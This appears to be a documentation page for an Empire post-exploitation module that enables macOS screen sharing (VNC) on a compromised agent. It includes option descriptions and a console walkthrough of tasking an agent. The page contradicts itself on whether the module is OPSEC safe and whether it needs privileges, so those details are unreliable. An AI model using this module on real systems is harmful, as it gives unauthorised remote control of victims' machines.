ScreenSharing - Empire Module


This page contains detailed information about how to use the python/management/osx/screen_sharing Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

Name: ScreenSharing
Module: python/management/osx/screen_sharing
Source code: empire/server/modules/python/management/osx/screen_sharing.yaml
MITRE ATT&CK: T1021
Language: Python
Needs admin: No
OPSEC safe: Yes
Background: No

The screen_sharing module enables ScreenSharing to allow you to connect to the host via VNC.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the screen_sharing module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

This is a list of options that are required by the screen_sharing module:

Agent
Agent to execute module on.

Password
User password for sudo.

VNCpass
Password to use for VNC.

Screen_sharing Example Usage

Here's an example of how to use the screen_sharing module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/osx/ducky) > usemodule python/management/osx/screen_sharing

 Author       @n00py                                                             
 Background   False                                                              
 Comments     https://www.unix-                                                  
              ninja.com/p/Enabling_macOS_screen_sharing_VNC_via_command_line     
 Description  Enables ScreenSharing to allow you to connect to the host via VNC. 
 Language     python                                                             
 Name         python/management/osx/screen_sharing                               
 NeedsAdmin   False                                                              
 OpsecSafe    True                                                               
 Techniques   http://attack.mitre.org/techniques/T1021                           


,Record Options----,----------,-----------------------------,
| Name     | Value | Required | Description                 |
|----------|-------|----------|-----------------------------|
| Agent    |       | True     | Agent to execute module on. |
|----------|-------|----------|-----------------------------|
| Password |       | True     | User password for sudo.     |
|----------|-------|----------|-----------------------------|
| VNCpass  |       | True     | Password to use for VNC     |
'----------'-------'----------'-----------------------------'

(Empire: usemodule/python/management/osx/screen_sharing) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/python/management/osx/screen_sharing) > set Password Password123
[*] Set Password to Password123
(Empire: usemodule/python/management/osx/screen_sharing) > set VNCpass value
[*] Set VNCpass to value
(Empire: usemodule/python/management/osx/screen_sharing) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

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Version

This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.